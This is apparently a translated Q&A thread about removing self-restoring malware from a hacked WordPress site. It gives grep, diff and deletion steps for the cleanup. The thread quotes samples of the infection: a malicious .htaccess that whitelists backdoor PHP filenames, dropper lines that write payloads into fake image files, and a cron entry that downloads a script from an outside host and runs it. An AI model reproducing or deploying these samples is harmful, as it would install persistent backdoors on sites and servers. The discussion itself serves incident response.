Eugenio
Tengo un sitio de WordPress que presenta un .htaccess y un archivo llamado postfs.php.
Pero cuando trato de borrarlos, se vuelven a escribir. He intentado borrar todos los archivos del sitio, cambiar permisos, comprobar el cron… pero no hay nada que hacer. Estos archivos aparecen tan pronto como los elimino o edito.
El contenido del archivo es el siguiente:
Archivo .htaccess
<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php|asp|Php|aspx)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.$
Order allow,deny
Allow from all
</FilesMatch>
AddType application/x-httpd-cgi .sh
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
Y el postfs.php archivo tiene este contenido: Decodificación PHP
¿Cómo puedo evitar la restauración de estos archivos?
nabi kaz
Tuve el mismo problema y el antivirus no pudo detectarlo. Y también el problema de crear archivos automáticamente no estaba relacionado con trabajos croncomo mencionaron los amigos.
De hecho, cada vez que se abre una página desde el sitio, esos archivos se reconstruyen.
He examinado cuidadosamente el problema y ofrezco la solución.
El problema ocurre para ambos. .htaccess
y index.php
.
Primero buscamos una palabra clave en el texto del archivo (como root):
grep -lir "wjsindex.php" ./
Producción:
./wp-admin/images/arrow-rights.png
./wp-includes/images/smilies/icon_crystal.gif
./.htaccess
Para otro archivo, buscamos una palabra clave en el texto:
grep -lir "RZXiMOEbYmVH" ./
Producción:
./wp-admin/images/arrow-lefts.png
./index.php
./wp-includes/images/smilies/icon_devil.gif
Si observa el contenido de estos archivos de imagen encontrados, verá que no son imágenes y contienen código malicioso que coincidía exactamente con nuestros dos archivos originales.
Muestra:
Ahora buscamos los cuatro archivos encontrados:
grep -lirE "arrow-rights.png|icon_crystal.gif|arrow-lefts.png|icon_devil.gif" ./
Producción:
./wp-includes/load.php
./wp-includes/template-loader.php
Si edita estos dos archivos de resultados:
En la parte inferior del archivo load.php
y al principio del archivo template-loader.php
, verá el código adicional que debe eliminarse. (Empezando con //ckIIbg
)
Para averiguar más exactamente qué secciones son correctas y cuáles son maliciosas, simplemente reemplace ese archivo de otro WordPress que esté seguro de que es seguro y de la misma versión, o busque y elimine las secciones adicionales con el comando diff.
De este modo:
diff ./wp-includes/load.php ~healthy/www/wp-includes/load.php
diff ./wp-includes/template-loader.php ~healthy/www/wp-includes/template-loader.php
Y como paso final, elimine los cuatro archivos de imagen maliciosos:
rm -f ./wp-admin/images/arrow-rights.png ./wp-includes/images/smilies/icon_crystal.gif ./wp-admin/images/arrow-lefts.png ./wp-includes/images/smilies/icon_devil.gif
Y también verifique cronjobs (/var/spool/cron/username
) para ser como esta línea infectada y eliminarla:
* * * * * wget -q -O xxxd http://hello.hahaha666.xyz/xxxd && chmod 0755 xxxd && /bin/sh xxxd /home//username/public_html 24 && rm -f xxxd
Este código crea un ./css/index.php
archivo y se puede eliminar.
-
Seguí los pasos anteriores y aún parte del archivo de índice pude codificar código malicioso dentro de wp-content index.php, carpetas de temas
– Ankit Prajápati
4 de abril de 2022 a las 12:53
-
@AnkitPrajapati Algunos virus funcionan de manera diferente, y fue una idea solucionar el problema y es posible que deba tomar medidas adicionales. También verifique sus complementos, ya que pueden ser vulnerables.
– Nabi Kaz
4 abr 2022 a las 17:30
-
Todo aún su sitio web está regenerando index.php o htaccess. Debe reiniciar su servidor o eliminar todos los procesos que se están ejecutando para su servidor.
– Ankit Prajápati
11 de mayo de 2022 a las 6:12
-
@NabiK.AZ ha seguido sus pasos pero aún conserva el archivo .htaccess infectado con el mismo código. ¿Es un problema de trabajo cron? Por favor, ayúdame también.
– Pardeep Pathania
31 de enero a las 5:01
-
@PardeepPathania stackoverflow.com/questions/67296060/hacked-wordpress-htaccess/…
– Nabi Kaz
3 de febrero a las 2:53
mikhael monir
Tuvimos exactamente el mismo truco hace un tiempo. El primer paso es decodificar el índice.php archivo, y después de decodificar vemos que hay cuatro archivos de imagen infectados:
file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);
Primero elimine las cuatro imágenes infectadas, verifique su cron y elimine cualquier trabajo cron que no haya creado.
Ejecute esto en una sesión SSH para eliminar todo .htaccess archivos dentro de todos los subdirectorios:
find . -type f -perm 0444 -name ".htaccess" -exec echo rm {} \;
Utilice los archivos predeterminados de WordPress .htaccess e index.php.
Después de terminar, puede instalar Wordfence y activar el firewall, además, no olvide actualizar su núcleo, complementos y temas de WordPress.
Rouhollah Talebian
En el primer paso, debe encontrar el archivo de shell (su proveedor de host puede hacerlo con antisheller).
-
elimine el tema y el complemento no utilizados en la instalación de WordPress
-
Inicie sesión en el área SSH y ejecute este comando:
find /home/.../wordpres_directory -type f -name ".htaccess" -delete
-
abra la página actualizada con este enlace: youdomain/tld/wp-admin/update-core.php?action=do-core-reinstall
Si aún ve el problema, debe realizar los pasos 2 y 3.
Su servidor necesita una configuración de seguridad. Llame al proveedor de host para asegurar el servidor.
-
¿Qué es ese “antibombardero” del que hablas? Tiene una referencia?
-Peter Mortensen
ayer
D.Bartenstein
Si los archivos comienzan a reaparecer después de que los eliminó, debe buscar líneas de código, a menudo en el índice.php archivo—donde un límite de tiempo o un TTL (tiempo de vida) se especifica, junto con (la mayoría de las veces) una línea muy larga de código Base64. (Estos a menudo son reconocibles por un par de líneas de código más cortas con signos de “igual a” en el medio).
La forma en que esto funciona es el límite de tiempo / TTL se asegura de que todos los archivos se comparen con un conjunto de archivos de referencia ubicados en otra URL o en el caché de los servidores web, y si falta uno, se sincronizará de nuevo.
Una cosa que puede hacer para resolver esto es eliminar el script junto con reiniciar Apache y PHP / nginx. Esto limpia el caché de los servidores web.
Después de eso, puede limpiar las reglas de permiso de denegación maliciosas y otras cosas que están en el .htaccess archivos y probablemente otras cosas que se esconden entre los archivos y carpetas de su aplicación web.
Sugerencias de bonificación para intentar realmente resolver el problema de seguridad real aquí:
-
Siempre asegúrate todo el software, complementos, módulos, temas, etc. está actualizado. ¡No te pierdas ningún parche de seguridad!
-
Asegúrese de cambiar cada contraseña en cada cuenta que proporcione acceso a su aplicación web. (no se olvide de las cuentas de FTP y los paneles de back-end y esas cosas).
-
Intente ejecutar un escaneo de malware (si tiene un paquete de alojamiento compartido, puede hacerlo a través de un complemento de seguridad o pedirle a su empresa de alojamiento que ejecute uno)
-
¡Asegúrese de que no haya usuarios, complementos o cualquier otro componente posiblemente malicioso del que nunca haya oído hablar y que no haya instalado!
-
Al menos asegúrese de verificar la carpeta raíz, todas las carpetas de carga y las carpetas temporales en busca de archivos maliciosos.
diako azizi
Resolví el problema.
Crear una nueva cuenta FTP y editar .htaccess y índice.php con ArchivoZilla. Entonces deberías eliminar wp-admin y cargue el nuevo archivo y carpeta con una nueva versión de WordPress. También wp-incluir. Y luego puedes.
-
¿Puede qué (última oración)?
-Peter Mortensen
ayer
Pedro Mortensen
Debes buscar cada .htaccess archivo. Usa un cliente FTP y bórralo (casi 5000 en mi caso). Actualice los complementos para resolver las brechas de seguridad.
-
¿Puede qué (última oración)?
-Peter Mortensen
ayer
Pedro Mortensen
Así fue como resolví esto:
- Primero aísle el sitio web a mi dirección IP para poder trabajar solo.
- Remoto WP instaladopero mantuvo wp-content.
- Actualizado manual de trabajo a través de FTP.
- Reparar/recrear DB.
- Desactivar todos los complementos.
- Deshabilitar temas. La forma más sencilla es simplemente cambiar temporalmente el nombre en el temas carpeta a _tema en lugar de temas.
- Actualizar todos los complementos.
- Marcado activo tema carpeta para la fecha modificada. Encontré una carpeta en mi Cª carpeta que tenía un índice.php y forjar.php. Los eliminé.
- Por último revisé el raíz carpeta de nuevo y encontró una carpeta llamada CSS. También lo eliminé, ya que también tenía archivos PHP que no pertenecían.
- Remoto .htaccess archivos de acuerdo con lo anterior.
- recreado .htaccess archivo.
- Activado todos los complementos y temas.
- Verifiqué una vez más los cambios en los archivos si me había perdido algo.
- Permita el tráfico al sitio una vez más y vigile acceso.log para peticiones raras.
Tal vez esto no ayudaría a todos, pero funcionó bien para mí y no quedan rastros.
Voté para cerrar esta pregunta porque no es una pregunta de programación. Más bien, se trata de limpiar un sitio de WordPress pirateado.
– Stephen Ostermiller
20 de abril de 2022 a las 12:54